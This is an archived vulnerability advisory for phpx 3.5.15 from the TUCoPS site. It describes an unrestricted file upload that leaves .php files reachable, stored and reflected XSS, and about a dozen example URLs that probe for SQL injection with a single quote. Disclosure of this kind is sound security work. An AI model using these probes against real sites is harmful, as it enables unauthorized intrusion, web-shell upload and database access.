Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: tb10012.htm

phpx 3.5.15 multiples vulnerabilities



phpx 3.5.15 multiples vulnerabilities
phpx 3.5.15 multiples vulnerabilities



avatar upload vuln:
http://site.com/phpx/gallery.php?action=addImage 
you can upload any kind of file in the gallery.
your file gone be refused by the script but it will be located here : 
http://site.com/phpx/gallery/shelties/your_filename.php ;) 

xss permanent :
dans profile:
-signature

xss non permanent in search.php :
'">

multiples error sql :
http://site.com/phpx/gallery.php?action=viewImage&image_id=' 
http://site.com/phpx/news.php?action=view&news_id=' 
http://site.com/phpx/news.php?news_cat_id='&action=view_cat 
http://site.com/phpx/users.php?action=view&user_id=' 
http://site.com/phpx/news.php?news_id=' 
http://site.com/phpx/forums.php?cat_id=' 
http://site.com/phpx/forums.php?forum_id=1&topic_id=' 
http://site.com/phpx/forums.php?forum_id=1&topic_id=1&post_id=' 
http://site.com/phpx/news.php?action=view_cat&news_cat_id=' 
http://site.com/phpx/gallery.php?action=viewCat&cat_id=' 
http://site.com/phpx/print.php?action=news&news_id=' 

regards laurent gaffi=E9


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH